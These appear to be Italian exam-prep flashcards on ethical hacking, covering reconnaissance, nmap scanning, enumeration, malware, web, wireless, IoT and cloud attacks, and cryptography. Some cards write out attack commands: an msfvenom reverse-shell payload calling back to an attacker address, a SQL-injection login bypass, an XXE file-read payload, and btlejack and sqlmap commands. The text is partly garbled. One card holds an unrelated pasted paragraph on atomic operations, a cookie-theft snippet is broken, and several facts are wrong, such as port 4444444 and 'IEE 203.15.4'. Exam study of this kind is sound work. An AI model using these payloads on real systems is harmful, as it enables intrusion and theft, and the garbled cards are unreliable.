Fast Prep Flashcards

- **Recoinnasance**

Cyber kill stage che precede il Weaponization stage

- **Weaponization**

Stage della Cyber kill dove selezioni o crei ad un cliente una backdoor per inviare all'indirizzo email raccolto dell'utente

- **Delivery**

Il terzo step della cyber kill chain dove l'attaccante invia un pacchetto armato alla vittima utilizzando email, USB, etc.

- **Action on objectives**

Cyber kill stage dove avviene il data exfiltration

- **Unespecified proxy activities**

Piu domini che puntano allo stesso host per cambiare velocemente il dominio e evitare detection

- **White hat**

Notificherebbe al proprietario del sistema e al venditore di software se hanno trovato una zero day vulnerability.

- **Gray hat**

Individui che lavorano sia lato offensivo che difensivo in momenti diversi

- **Recoinnaissance**

Il riconoscimento del target include l organizzazione del cliente, dipendenti, operazione, rete e sistemi.

- **Clearing tracks**

l'attaccante fa l override (scrive sopra) dei server, sistemi e log di applicazione per evitare sospetti

- **Determing the impact of the change**

La prima considerazione quando implementi un cambiamento

- **Operational threat intelligence**

Prevede informazioni su uno specifica minaccia, prevede informazioni contestuali sulla sicurezza degli eventi e incidenti che aiutano i difensori a rilevare il potenziali rischio, provvede a dare informazioni sulla metodologia di attacco, identifica attivita malevoli passate ed effettua investigazioni su attivita malevoli in una maniera piu efficiente.

- **Technical Threat Intelligence**

Questo tipo di intelligence e direttamente alimentato dalla sicurezza dei dispostivi in formato digitale per bloccare e identificare traffico malevolo in entrata ed uscita che entra nell'organizazzione

- **Incident triage**

Fase dove il tipo di attacco, la severita, il target, l'impatto, il metodo di propagazione e le vulnerabilita sfruttate vengono analizzate.

- **PCI-DSS**

Payment Card Industry Data Security Standard e la proprieta dove vengono raccolte informazioni di sicurezza per le organizzazione che gestiscono informazioni su carte di credito per debiti, crediti, prepagate, e-purse, ATM, e POS card.

- **HIPAA**

Regolamenti che proteggono informazioni personali mediche.

- **PHI**

personal health information (informazioni mediche)

- **SOX**

Sarbanes-Oxley Act e stato implementato per proteggere investitori ed il pubblico per aumentare precisione ed affidabilita delle informazioni di revisione contabile divulgate dalla societa

- **[site:]**

L operatore che restringe la ricerca per uno specifico sito o dominio

- **[related:]**

L operatore che mostra siti che sono simili o relazionati a uno specifico URL

- **[filetype:]**

L operatore che permette di cercare i risultati basandoti su un file extension.

- **Reverse image search**

Aiuta all'attaccante a cercare la fonte dell'immagine e dettagli dell'immagine, come fotografie, immagine di profili, e meme.

- **Censys**

motore di ricerca IoT che permette di ottenere informazioni sul target IoT come informazioni manufatturiere, geolocalizzazione, indirizzi IP, hostname, e porte aperte. Censys continua a monitorare ogni singolo server e dispositivo su internet, e si puo analizzare in real time.

- **Dark web footprinting**

Uso di tool specializzati o motori di ricerca per cifrare attivita di navigazione web.

- **Hootsuite**

Automated geolocation tool

- **Website monitoring**

Copi un website intero sul drive locale per vedere la struttura delle cartelle, la struttura dei file, link esterni, etc.

- **CeWL**

Un attaccante utilizza questo tool per ottenere una lista di parole da un sito target ed effettuare un attacco brute force sull'indirizzo mail ottenuto precedentemente.

- **Web-Stat**

un tool per monitorare siti web, analizzare il traffico del sito e tracciare la geolocalizzazione dell'utente che visita il sito.

- **Infoga**

Tool che traccia email di un target ed estrae informazioni come identificare il sender, mail server, IP address del sender, e la localizzazione del sender da

diverse fonti pubbliche

- **Whois footprinting**

Ottenere informazioni come il target domain name, contatti di dettagli del proprietario, data di scadenza e di creazione.

- **RIPE NCC**

Regional Internet Registry for Europe

- **Bluto**

Un tool automatizzato che ottiene informazioni sul DNS zone incluso DNS domain names, computer name, IP adddress, DNS record e il record di rete Whois

- **ARIN**

Un tool online per ottenere informazioni come il network range di un azienda target.

- **Impersonation**

E una tecnica dove un attaccante pretende di essere una legittima o persona autorizzata. Di solito quest'attacco viene fatto utilizzando cellulare o altre media comunication per imbrogliare il target e ingannarli a rivelare informazioni

- **OSINT framework**

OSINT framework e un framework che aiuta i professionisti della sicurezza a fare attivita di footprinting e reconnaissance.

- **ACK flag probe scan**

Scopre dispositivi nascosti da firewall restrittivi

- **-PP**

Nmpa/Zenmap ICMP timestamp ping scan

- **-PS**

Nmap/Zenmap SYN ping scan

- **nmap -sn-PS <target_ip>**

TCP SYN ping scan

- **TCP Maimon scan**

Invia sonde FIN/ACK e determina che un pacchetto RST venga inviato in risposta al target host, indicando che la porta e chiusa.

- **Stateful firewall**

Non risposta con RST all ACK scan ad una porta chiusa

- **-sA (Nmap ack flag probe scanning)**

L attaccante invia sonde ACK pacchetti con un sequence number randomico, senza risposta indica che la porta e filtrata (stateful firewall), mentre una risposta con RST indica che la porta non e filtrata.

- **-sV**

Utilizzato per rilevare versioni e tipi di servizi in nmap.

- **Banner grabbing**

Si fa utilizzando la -sV flag in nmap

- **128**

Windows OS TTL

- **-D (Nmap/Zenmap IP address Decoy)**

L esca dell'IP address fa riferimento al generare manualmente o automaticamente indirizzi IP specifici di esca per evadere il firewall IDS. esempio : nmap -D RND:10[target]

- **-T0**

L opzione paranoidale per il timing in nmap, fa meno rumore e quindi evade gli IDS

- **Linux OS**

Utilizza TTL di 64 e finestra di windows di 5840

- **Scanning network (Assist in network diagram)**

Creare un diagramma di rete aiuta agli attaccanti di identificare la topologia o l architettura delle grandi reti

- **SMB**

Viene runnato su porta 139 e 445 TCP.

- **389**

Porta non sicura per LDAP, da cambiare con porta 636 LDAPS.

- **SNMP**

Usa porta UDP 161. Se trovi traffico SNMP non cifrato sulla tua rete, usa SNMP V3.

- **<03>**

NETBIOS code per messanger service

- **LNMIB2.MIB**

Contiene tipi di oggetti per workstation e servizi server

- **Jxplorer**

Tool per anonimizzare query LDAP per informazioni sensibili come username, indirizzi e dettagli del dipartimento.

- **SMTP Enumeration**

Prevede 3 comandi inclusi :

VRFY-Valid user

EXPN-Mostra l attuale indirizzo di consegna degli alias e mailing list

RCPT TO-Definisce il destinatario del messaggio

- **DNS cache spoofing**

Un'operazione è **atomica** se:

- È indivisibile,
- Non può essere interrotta da altri processi/thread,
- È garantito che venga completata *tutta* oppure *niente*.

In pratica: **o succede tutto, o non succede nulla**.

E un tipo di DNS enumeration dove l attaccante esegue query al DNS server per uno specifico record. Utilizzando questo record, l'attaccante puo stabilire quali siti ha visualizzato l utente.fffffffff.

- **FTP Enumeration**

e utilizzato per trasferire file su TCP, e la porta di default e la 21

- **NTML**

  Puo essere usato per rendere sicuro un servizio LDAP contro query anonime.

- **LDAP enumeration countermeasures**

By defaul LDAP viene trasferito su porta 389, si puo utilizzare SSL o la tecnologia STARTSSL per cifrare il traffico su porta 636

- **False positive**

Vulnerabilita trovata in un tool di vulnerability assessment che non e una vera vulnerabilita

- **Medium**

CVSS v3.0 range : 4.0 - 6.9

- **4.0 - 6.9**

Severita media del rating su CVSS

- **Remediation**

Processo per aggiustare vulnerabilita dei sistemi per ridurre l impatto e la severita della vulnerabilita.

- **Vulnerability management life cycle**

Le fasi nel vulnerability management sono :

1. Identify assets e creare una base
2. Scan
3. Risk assessments
4. Remediation
5. Verification
6. Monitor

- **Passive Assesment**

L assessment passivo sniffi il traffico presente sulla rete per identificare i sistemi attivi, i servizi di rete, applicazioni, e vulnerabilita. Include anche una lista di utenti che hanno accesso alla rete.

- **External assessments**

Esamina la rete dal punto di vista di un hacker per identificare exploit e vulnerabilita accessibili dal mondo esterno. Questi tipi di assessment utilizzano firewall, router e servizi.

- **Host based Assessment**

Gli scanner host based sono utili per identificare vulnerabilita come tabelle di configurazione, registri incorretti e permessi sui file e anche software configurati male.

- **Network based scanner**

Scanner di macchine sulla rete per identificare vulnerabilta

- **Wireless Network Assessment**

Determina le vulnerabilita in un organizzazione che ha reti wireless. Molte reti utilizzano meccanismi di sicurezza datati e aperti ad attacchi.

- **Interference-based assessment**

Dopo aver trovato i servizi, selezioni le vulnerabilita su ogni macchina e inizi ad eseguire solo quelle rilevanti per i test.

- **Step followed by vulnerability scanners**

1. Localizzare i nodi
2. Effettuare scan di servizi e sistemi operativi
3. Testare quei servizi e OS per le vulnerabilita note

- **Gaining access**

Involve infettare un sistema con il malware e usare phishing per rubare credenziali al sistema o all'applicazione web

- **Dictionary attack**

In questo attacco un file dizionario e caricato nell'applicazione di cracking che viene eseguita contro l'utente. Questo file contiene delle parole comunemente utilizzate come password. Il programma utilizza tutte queste parole per trovare la password.

- **Internal monologue attack**

Passi per implementare un internal mologue attack :

1. L attaccante disabilita i controlli di sicurezza NetNTMLv1 modificando i valori di LMCompatibilityLevel, NTLMMinClientSec, e RestrictSendingNTLMTraffic
2. L attaccante estrae tutti i token di non network logon da tutti i processi per mascherarsi come un utente legittimo

- **Some password cracking tool as follow**

1. John the ripper
2. hashcat
3. THC-Hydra
4. Medusa

- **Password salting**

Aggiunge dati alla password prima dell hashing per difendere il Rainbow table

- **msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.13 LPORT=4444444 -f exe > shell.exe**

genera una reverse shell TCP shellcode per Windows'

- **Buffer overflow**

char buff[12]

- **Mitre.org CVE**

Il Mitre mantiene un database di CVE che contiene i dettagli delle ultime vulnerabilita, Gli attaccanti possono cercare il MITRE CVE per scoprire vulnerabilita che esistono nei sistemi

- **Getsystem**

E un comando di metasploit per ottenere privilegi di amministratore ed estrarre gli hash delle password di admin o utenti.

- **Kernel-Level Rootkit**

Il kernel e il cuore del sistema operativo. Un rootkit di livello kernel viene eseguito sull'anello 0 (ring 0) con i piu alti privilegi di sistema. Queste backdoor installate sul computer vengono create per scrivere altro codice, o per sostituire porzioni di codice del kernel con codice di driver windows o moduli di load del kernel linux.

- **.bash_history**

Mantiene i log di input digitali

- **DNS tunneling**

Emette data malevolo nel pacchetto del protocollo DNS che neanche il DNSSEC puo rilevare.

- **UNIX/Linux**

I file di linux possono essere nascosti semplicemente mettendo un (.) davanti al nome del file.

- **adware**

Pop up di pubblicita

- **Advanced persistent threat**

Rimani senza essere rilevato per tanto tempo e ottiene informazioni sensitive senza sabotare l organizzazione

- **Initial intrusion**

Fasi dell'Initial intrusion che fa parte dell'APT life cycle :

1. Rilascio di malware
2. Stabilire connessioni verso fuori

- **DDoS trojan**

La bornet Mirai e un esempio di questo tipo di attacco.

- **Stealth virus**

Questo tipo di virus si nasconde dai firewall nascondendo la sua dimensione originale del file oppure piazzando se stesso in maniera temporanea nel drive di altri sistemi rimpiazzando il file infettato con un file non infettato nel hard drive.

- **Encryption virus**

si puo cifrare da solo e cambiare il suo codice

- **Computer Worms**

Sono programmi autonomi che si replicano, si eseguono, e si divulgano su tutta la rete senza l intervento umano.

- **File-less malware**

Gli antivirus non possono rintracciarli

- **Launching Fileless malware through Phishing**

Inviano un email con un link, quando la vittima clicca viene reindirizzata ad un sito malevolo che in automatico carica un Flash e fa scattare l'exploit

- **Virus total**

Un servizio gratis che analizza i file

- **Credential Enumerator**

E un file RAR che contiene due componenti. Uno e la componente bypass, e le altre sono componenti di servizio. Il bypass viene utilizzato per enumerare le risorse di rete e puo anche trovare drive condivisi utilizzando SMB o prova a brute forzare l account dell'utente, incluso quello amministratore.

- **BetterCAP**

Un tool che invia falsi messaggi ARP attraverso la rete indirizzato al MAC address con l'indirizzo IP della vittima.

- **MAC flooding**

Sarebbe l'inondamento di indirizzi MAC e IP per riempire la CAM table

- **DHCP Starvation**

Gli attaccanti che esauriscono gli indirizzi DHCP disponibile nel DHCP scope

- **STP attack**

Gli attaccanti si connettono ad uno switch fasullo con una priorita piu bassa degli altri switch per poter fare il root bridge.

- **The attacker makes a request to DNS resolver**

primo step dell'attacco DNS cache poisoning

- **Phishing**

L'attaccante si finge di essere il supporto tecnico dell'organizzazione del target

- **Honeypot**

L'attaccante prende di mira una persona nell'organizzazione, pretendendo di essere una persona attraente, poi si scopre essere tutta una falsa solo per ottenere informazioni sull'organizzazione

- **Impersonation**

L'attaccante si finge di essere un tecnico per rubare password, cercare documenti importanti sulle scrivanie dei dipendenti o nella spazzatura.

- **Scareware**

Tipi di falsi allarmi dove c'e scritto che la macchina e stata infetta, cosi da spingere l'utente ad installare il software fasullo per rimuovere il finto virus.

- **Phishing**

Reinderizzamento ad un sito malevolo inviando un link che sembra una vera email

- **Pharming**

L attaccante reinderizza il traffico web ad un sito malevolo semplicemente installando un programma malevolo sul computer di una persona. Puo essere fatti in due modi :

1. DNS cache poisoning
2. Host file modification

- **Evilgnx**

Tool di phishing

- **Whaling**

Tipo di attacco phishing che mira alle persone di alto profilo come CEO, CFO o politici e persone famose.

- **Spoofed session flood attack**

In questo attacco, l attaccante crea una sessione spoofata TCP trasportando multipli pacchetti SYN ACK e RST o FIN per fare DDoS contro la rete del target, esaurendo le risorse di rete.

- **Slowloris attack**

attacco DDoS inviando richieste parziali HTTP per aprire piu connessionni e rallentare l'applicazioni

- **Hit-list scanning technique**

Collezionare informazioni su un grande numero di macchine vulnerabili per poi creare una lista, dopodiche si infettano le macchina creando una botnet.

- **DDoS contromeasure**

Implementare radio cognitive nel layer fisico per gestire jamming e scrambling attack

- **Grabs the user's session cookie and session ID**

<script>

document.write'();

</script>

- **Session donation attack**

L attaccante ottiene un ID di una sessione valida e mette la stessa sessione alla vittima. L ID della sessione della vittima punta alla pagina dell'utente dell'attaccante. le informazioni di credito etc. vengono inserite per poi essere reindirizzate all'attaccante.

- **TCP/IP Hijacking**

Monitorare il traffico stabilito tra la vittima e l host per prevedere ISN, utilizzando l ISN si possono spoofare pacchetti inviati all host, appendendo la connessione

della vittima,e impersonando la vittima per comunicare con l'host.

- **Burp Suite**

Contiene le seguenti componenti :

1. Interceptor proxy, che permette di ispezionare e modificare le richieste tra il brower e l applicazione target
2. Intruder che permette di fare attacchi personalizzabili e sfruttare le vulnerabilita
3. Sequence tool per testare la randomizzazione dei session cookie

- **FTPS**

Inviare dati utilizzando cifratura e certificati digitali

- **VPN**

Crea un tunnel cifrato su una rete pubblica e ricevere ed inviare informazioni sensibili

- **False positive**

Scatta l allarme IDS quando non c’e stato nessun tipo di attacco

- **DMZ**

Dovrebbe essere sempre utilizzato quando l’azienda ha server pubblici

- **Web Server**

Il web server dovrebbe essere sempre esposto ad internet, ma l’applicazione e il dabase no.

- **Honeypot**

Un ambiente isolato per gli hacker

- **Obfuscating**

Cifrare pacchetti con Unicode, cosi che l IDS non puo riconoscerli, ma il web server puo decifrarli

- **Some online anonymaizer tool :**

1. profixy.com
2. guardster.com
3. anonymouse.org

- **NSTX**

Porta 53

- **Detecting the presence of Honmeyd Honeypot**

Un attaccante puo identificare la presenza di honeyid honeypot eseguendo un time-based TCP fingerprint (comportamento di un SYN proxy)

- **AndroidManifest.xml**

Il file che stabilisce la configurazione base (attivita, servizi, broadcast receiver) ed e un applicazione android

- **DNS hijacking**

Quando un utente inserisce un url legittimo in un browser, l impostazione lo porta direttamente sul sito dell'attaccante. L utente e portato a reinserire le credenziali ed il sito sicuramente non e sicuro.

- **Directory trasversal**

(../) quando viene utilizzato il punto punto slash per navigare tra le cartelle di un web server.

- **php.ini**

puo essere malconfigurato per ottenere un verbose error message

- **Server side request forgery (SSRF) attack**

un designer puo utilizzare un URL come "www.google/feed.php/?url=externalsite.com" per ottenere un feed remoto

- **Robots.txt**

Un file per scoprire la struttura di un sito

- **Web server footprinting**

Un attaccante in questa fase ottiene informazioni al livello di sistema come OS, software, versione, server name, e database.

- **Patch management**

Il fallimento consisterebbe nel non applicare le correzioni in modo tempestivo. Esempio: l'azienda subisce un'interruzione diversi mesi dopo che il fornitore ha reso disponibile una correzione.

- **Limiting the administrator or root-level access to minium number of users**

Questo aiuta gli account degli utenti sui web server

- **Syhunt Hybrid**

Fa il crawl dei siti e rileva XSS, directory trasversal, problemi, fault injection, SQL injection, puoi eseguire comandi e anche altri attacchi.

- **Web application security scanner**

1. Netsparker
2. Burp Suite

- **WS-Security**

Web Services Security ha un ruolo importante nel rendere sicuro i web server. E un estensione di SOAP e mantiene intergrita e confidenzialita dei messaggi SOAP cosi come gli utenti di autentificano.

- **Sever side includes injection**

E un applicazione che aiuta a generare i contenuti della pagine web senza l aiuto manuale. Come se un applicazione accetta l input dello user e lo usa sulla sua pagina.

- **XXE**

una richiesta malevola di XML External Entity puo essere :

<!DOCTYPE foo [!ELEMENTR foo ANY> < !ENTITY bar SYSTEM “file://etc/lsb-release”>

- **Watering hole attack**

E un tipo di invalido redirect attack dove l attaccante per cui attacca prima identifica i siti piu visitati dal target, determina le vulnerabilita nel sito, inietta codice malevolo nella web application, e poi aspetta che la vittima navighi nel sito. Quando prova a fare l accesso, viene eseguito il codice malevolo, infettando la vittima.

- **Clickjacking attack**

L attaccante crea un iframe trasparente davanti all url dove la vittima clicca.

- **Side-channel attack**

L attaccante esamina carattere dopo carattere la password e sfrutta il timing information per determinare l esatta posizione dove il confronto fallisce. Utilizzando questi dati l attaccante determina la password

- **Banner grabbing**

Si puo fare anche utilizzando wget -S

- **Wordlist**

l'opzione piu veloce di GoBuster

- **Verbose failure message**

Quando l applicazione specifica quale campo e incorretto e quindi l attaccante riutiilizza questo messaggio per fare dei test su liste di parole simili.

- **WS-Address Spoofing**

WS-Address prevede informazioni sul routing nel SOAP header per supportare la comunicazione asincrona.

- **RESTful API**

un web service che usa metodi HTTP come PUT, DELETE, POST, GET per migliorare la performance generale, visibilita, scalabilita, portabilita di un applicazione.

- **Webhooks**

una chiamata HTTP definita dall utente o un API quando avviene un evento

- **No ABAC Validation**

il contrario di ABAC validation che non verifica correttamente se un utente ha il diritto di accedere o modificare una risorsa in base ai suoi attributi.

- **.stm**

Server side include injection

Evitare pagine che hanno queste estensioni .stm, .shtm, .shtml per prevenire attacchi

- **Bug bounty program**

Programma di ricerca vulnerabilita aperto alle compagnie

- **Select * from users where UserName = ‘attack’ or 1=1 —’ and UserName = ‘123456’**

SQL command executed by the server when you entered into a login form:

Username = attack’ or 1=1—

Password = 123456

- **Union SQL injection**

  Quando un attaccante mischia una query con una query richiesta dall’utente usando la clausola UNION. Il risultato della query viene messa alla fine al risultato originale della query il che rende possibile utilizzarla per vedere i valori delle altre tabelle.

- **Union SQL Injection**

L operatore Union combina il risultato di due o piu Select se hanno la stessa struttura

- **Blind SQL injection**

Un attaccante puo rubare dati chiedendo una serie di veri o falsi tramite SQL

- **Time based**

SQL che testa il tempo di risposta di vero o falso

- **Boolean based**

SQL injection che determina quando il database ritorna vero o falso come risultato di un ID utente

- **Out-of-band SQLi**

Si puo usare facendo richieste DNS per avere informazioni per l'attaccante

- **Variation**

Mettere caratterei come 'or' o '1=1' in qualsiasi dichiarazione di Injection

- **Whitelist validation**

E una best practise dove solo la lista delle entita (es. data type, range, value) che sono state approvate saranno accettate.

- **WEP**

Costruito per il mimic wired encryption

- **WPA3 - Personal**

Utilizzato per rilasciare password basate su autenticazione utilizzando il protocollo SAE, anche conosciuto come Dragonfly Key Exchange, che rimpiazza il PSK usato nel WPA2-Personal. E resistente al dictionary attack offline e key recovery attack

- **WPA3 - Enterprise**

Allow 192-bit minimum-strenght security protocol come GCMP-256, HMAC-SHA384, e EDCSA usa 384 bit elliptic curve.

- **KRACK (Kristian)**

Gli avversari imbrogliano le vittime nel reinstallare un chiave gia in uso. Associando parametri come l incremental packet number e receive packer number sono resettati al valore iniziale.

- **Finding WPS- Enable Aps**

L attaccante usa il Wash tool per identificare WPS-Enable APs nella rete wireless del target

- **Evil twin attack**

Un Access point che pretende di essere legittimo avendo lo stesso nome (SSID). E spesso non richiede autentificazione che invece l AP originale richiede.

- **aLTEr attack**

Un attacco wireless dove l’attaccante lancia un Man-in-the-middle attacco utilizzando una torre finta comunicazione che reinderizza i dati dell utente verso il sito malevolo.

- **Dragonblood**

WPA3 encryption

- **Downgrade Security Attacks**

Per lanciare quest attacco, il router del client ha bisogno di poter supportare la cifratura sia WPA3 che WPA2. Qui l attaccante forza l utente a seguire il meccanismo di cifrastura piu vecchio per connettersi alla rete.

- **Bluesnarfing**

Rubare informazioni da un dispositivo wireless tramite bluetooth

- **btlejack -f 0x4293783 -t -m 0x1fffffff**

Btle jacking using BtleJack

comando per dirottare la connessione.

- **Disabled SSID broadcasting**

Per rendere una rete non esplorabile

- **Wardriving**

Quando l attaccante guida con un computer che ha il WIFI installato e utilizzando tool di discovery per vedere quali reti sono aperte

- **Agent Smith attack**

App legittime rimpiazzate da app ingannevoli che sembrano legittime

- **Spearphone attack**

Permette a dispositivi android di registrare data dagli altoparlanti senza alcun privilegio

- **Advance SMS Phishing**

Il vettore di attacco dipende dal processo chiamato Over-The-Air (OTA), che e usato da gli operatori di rete. L attaccante sfrutta questi messaggi inviandoli su dispositivi mobile che sembrano legittimi stesso agli operatori.

- **Untethered jailbreak**

patchare il kernel quindi jailbreakato per ogni successivo reboot

- **iOS trustjacking**

Vulnerabilita che puo essere sfruttata da un attaccante per leggere messaggi ed email sfruttando “iTunes Wifi Sync”.

- **Trident**

Trident e capace di avere il controllo sul dispositivo mobile, e monitorare le attivita dell’utente, registrare audio, screenshot ecc.

- **Reverse engineering**

E usato per disassemblare un programma software or un applicazione mobile per analizzare le debolezze di design e aggiustare bug.

- **Zigbee**

Basato su IEE 203.15.4 standard

- **Power/Clock/Reset Glitching**

Questo tipo di attacco avviene quando falle o problemi tecnici avvengono nell alimentazione e possono essere usati come remote execution, anche utilizzati per saltare le istruzioni chiave. Falle possono anche essere iniettate nell orologio di rete usato per rilasciare un segnale sincronizzato al chip.

- **Replay attack**

1. L attaccante setta la frequenza
2. Poi cattura i dati originali quando il comando sono inizializzati dal dispositivo connesso
3. Una volta collezionati i dati, usa tool come URH per segregare la sequenza di comandi
4. poi inietta i comandi sulla frequenza acquisita

- **FCC ID search**

Aiuta a cercare i dettagli di dispositivi e i certificati relativi

- **IoTSeeker**

Scannerizza una rete per uno specifico dispositivo IoT per rilevare se vengono utilizzare credenziali di default

- **48101**

Porta comunemente usata per compromettere IoT device per rilasciare malware

- **HMI-based attack**

Gli attaccanti compromettono i dispositivi HMI dato che sono i dispositivi che controllano le infrastrutture, se gli attaccanti accedono possono causare danni fisici verso dispositivi SCADA.

- **nmap -Pn -sU -p 44818 —script enip-info <target ip>**

questo comando permette all attaccante di avere informazioni sul device, ip, venditore, produttore

- **Flowmon**

Aiuta le aziende manufatturiere e comapagnie per assicurare la l'affidabilita della rete per evitare downtime e l interruzione dei servizi.

- **SaaS**

L abbonato e responsabile per il management dello user. Il provider e responsabile dell hardware, OS, e software management incluso gli aggiornamenti.

- **Infrastructure as a Service**

Richiede che l abbonato ha il massimo della responsabilita per il mantenimento delle risorse

- **Community**

Un gruppo di utenti o un organizzazione che condivide ambienti cloud

- **Cloud carrier**

Fa da intermediario che prevede connettivita internet e servizi di trasporto tra organizzazioni e il cloud service provider

- **Tier -2: Testing and accreditation system**

Valida immagini, content di immagini, firme di immagini e li invia ai registri

- **Docker daemon**

Un componente che puo processare richieste API e gestisce piu oggetti docker, come container, volumi, immagini e rete.

- **Kube-scheduler**

E la componente master che scannerizza nuovi pods generati e alloca i nodi ad esso. Assegna il nodo in base a fattori come risorse richieste, data localty, software/hardware/policy restrizioni e carico di lavoro interno.

- **Lock-in**

La difficolta che ha l utente a trasferire ambienti cloud o in-house in altri ambienti per causa di tool, procedure, standard ecc.

- **Unsychronized System clocks**

Il fallimento della sincronizzazione degli orologgi puo far fallire processi automatici e rende difficile anche agli amministratori di analizzare i log per attivita malevole.

- **Cloud hopper attack**

L attaccante inizia spear-phishing con un malware custom per compromettere l account dello stadd o per rubare credenziali cloud

- **Social engineering**

Coinvolge chiamate facendo finta di essere un dipendente o con email di phishing

- **Zero trust network**

E un modello in cui ogni nuova connessione o accesso alla rete deve essere prima verificato e verifica ogni connessione di entrata prima di accedere alla rete

- **Triple data encryption standard**

64 bit block, 3 keys, 56 bit keys

- **Serpent**

Include 32 round di operazioni computazionali che includono operazioni di sostituzione e permutamento su un blocco di 32 bit utilizzando 8 variabili S box con 3 bit di entrata e 4 bit di uscita. Usa cifratura simmetrica a 128 bit con la chiave di taglia 128,192, o 256

- **CAST 128**

E un blocco di cifratura, una rete classica di 12 o 16 round Feistel con un blocco di 64 bit

8×32-bit S-box (S1.S2.S3,S4) basate su funzioni piegate, addizioni e sottrazioni, la chiavi vengono ruotate e l operazione XOR

La chiave master (Km1) e una chiave di rotazione (Kr1) per performare la funzione.

- **TPM**

Hardware sulla scheda madre del computer che genera una chiave di cifratura.

- **Twofish**

Algoritmo che usa un blocco di 128 bit, e una chiave superiore a 256.

- **Private key**

E la chiave del sender che firma un messaggio cifrato con l hash

- **Public key**

E la chiave pubblica del sender che conferma la firma del messaggio

- **Recipient’s public key**

Viene usato per cifrare il messaggio

- **GNU Privacy guard (GPC)**

Un software che rimpiazza il PGP ed e gratis e un implementazione di OpenPGP che viene usato per cifrare e decifrare dati.

- **Web of Trust (WOT)**

Nel WOT, tutti gli utenti che usano PGP nella rete hanno un anello di chiavi pubbliche per cifrare i dati. In questo modello un utente cifra il messaggio con la chiave pubblica del ricevente che puo essere decifrato solo dalla chiave privata del ricevente.

- **Key archivial**

Le chiavi Bitlocker possono essere memorizzate e recuperate nell active directory

- **Key stretching**

In questa tecnica, le chiavi iniziali sono dati dall input di un algoritmo che genera chiavi migliorate. Le chiavi sono resistenti ad attacchi brute force

- **Hash Injection/Pass the hash (Pth) attack**

Un hash injection permette all'attaccante di iniettare codice e compromettere l hash che e situato nella sessione locale e usa l hash per validare le risorse di rete.

- **Duplicate MAC address**

Fare il duplicato del mac address nella ARP table significa fare ARP spoofing

- **sqlmap.py -u [TARGETURL] -dbs**

in questo url -u signifia URL e -dbs che vuole enumerare un database

- **DROWN attack**

Quando si hanno li stessi certificati usati su server diversi che permettono connessioni SSLv2. Che possono esfiltrare dati sulle chiavi.

- **Bettercap**

Il tool per condurre session hijacking su reti wireless con WPA-PSK, grazie alle sue funzionalita avanzate in analisi network e versatilita in vari protocolli.

- **Brute force attack**

Mira direttamente all assenza di una policy di lockout per gli utenti e la presenza di errori dettagliati che prevedono un feedback su un tentativo di login

- **Raw Sniffing**

permette la cattura passiva del traffico di rete, e una visualizzazione dei dati senza manipolazione.

- **blind SQL injection**

permette agli attaccanti di esfiltrare informazioni tramite vero o falso dall applicazione, eludendo l input validation che blocca pattern sospetti

- **Error-based SQL injection**

Prende vantaggio da dettagli di errore che danno i messaggi dell applicazioni per capire la struttura del database e formulare SQL query giuste

- **digital signature mechanism**

Applicare la firma digitale significa assicurare l integrita e autenticita dei dati, verificare che non siano stati alterati

- **SSL/TLS**

Assicura la cifratura delle comunicazioni, previene il Man-in-The-Middle

- **Data encryption with AES-256**

offre un livello piu alto di sicurezza e effettua un migliore algoritmo del 3DES, inoltre equilibra ed effettua un balancing efficiente contro le minacce quantiche.

- **Implementing WPA2 o WPA3 enterprise**

e una misura di sicurezza, dato che da maggior sicurezza al WIFI lo rende perfetto per chi non ha competenze tecniche.

- **Applying asymmettric encryption with RSA**

Applicare cifrature asimettriche con l RSA ed usare chiavi private per firmare assicura confidenzialita, e non ripudio nelle firme digitali

- **Enabling encryption**

Applicare la cifratura alle reti WIFI e il primo passo per proteggersi dall attacco di wifi eavesdropping (intercettazione).

- **WPA3 encryption**

Applicare questa misura di sicurezza aiuta contro il Wardriving attack, assicura sicurezza senza danneggiare l esperienza dell utente.

- **Passive reconnaissance**

WHOis lookup, NSlookup, e ricerche web sono un esempio. Questi permettono di collezionare informazioni utili senza inviare traffico alla rete del target, evitando il rilevamento da parte degli IDS.

- **Cloud Access Security Broker (CASB)**

E la migliore soluzione per ottenere un security management centralizzato su piu piattaforme cloud, da la possiblita di applicare policy di sicurezza, monitoring delle minacce e visibilita delle risorse cloud.

- **q=17, T=22**

Qui il ritardo totale causato dall'attaccante e di q*d = 221 secondi (se d e di 13 secondi) indicando un grande probabilita di far scattare un alert dato che la soglia minima e di 200.

- **MAC flooding**

puo sovraccaricare la memoria dello switch, questa tecnica puo comportare che lo switch si comporti come un hub, lasciando all'attaccante la possibilita di catturare i pacchetti verrso altri host nella rete

- **Sublist3r**

Utili per enumerare sottodomini urtilizzando l OSINT, uno dei migliori tool per fare questa fase.

- **captive portal page**

Questo permette all'utente di preoccuparsi sulla possibilita che ci sia un Evil twin attack, e la pagina di autentificazione quando si accede ad un wifi pubblico. Non richiede l installazione di software addizionali

- **employee awarness training**

Educa i dipendenti su attacchi di social enginnering.

- **network segmentation**

Si usa per isolare i dispositivi IoMT dalla rete principale, limita la possibilita di un breach e riduce il rischio di utilizzare un device IoMT come entry point per un attacco di rete.

- **Vulnerability scanning**

Rileva le vulnerabilita in un dato momento, cio significa che non le rileva dopo lo scanning, il quale e molto rilevante data la natura dinamica della rete incluso le applicazioni legacy e sistemi datati.

- **Cross-Site Scripting (XSS) attack**

puo bypassare la sanificazione di Javascript lato client e sfrutta l esposizione dei session cookie non settati con HttpflagOnly

- **The total number of high, medium and low-risk vulnerability**

Il numero totale di alti, medi e bassi rischi di vulnerabilita non devono essere inclusi nel documento per una specifica vulnerabilita, anche se questa e l informazione piu importante se si considera un network vulnerability assesment.

- **A vulnerability with a base metric score o 7**

Una vulnerabilita con base metrica di 7, metrica temporale di 8, e un metrica dell'ambiente di 5 ha una severita totale alta, la probabilita dello sfruttamento aumenta nel tempo, ed ha un impatto medio nello specifico ambiente.

- **Hybrid Attack**

Un tipo di scenario dove le password sono parole comuni mischiate a numeri, combina brute force e dictionary attack

- **DLL Hijacking**

Queste librerie vengono caricate nelle cartelle dell'applicazione senza prima essere qualificate, la tecnica di privilege escalation e chiamata DLL Hijacking

- **Man-in-the-middle attack using Forged ICMP and ARP Spoofing**

Nel dirottamento della sessione a livello network, si inserisce una macchina tra il client e il server per reindirizzare i pacchetti.

- **Dedicated network**

Utilizzare una rete dedicata per una casa che ha domotica, separata dalla rete principale della casa, assicura che se un dispositivo viene compromesso il resto rimane al sicuro.

- **char encoding function**

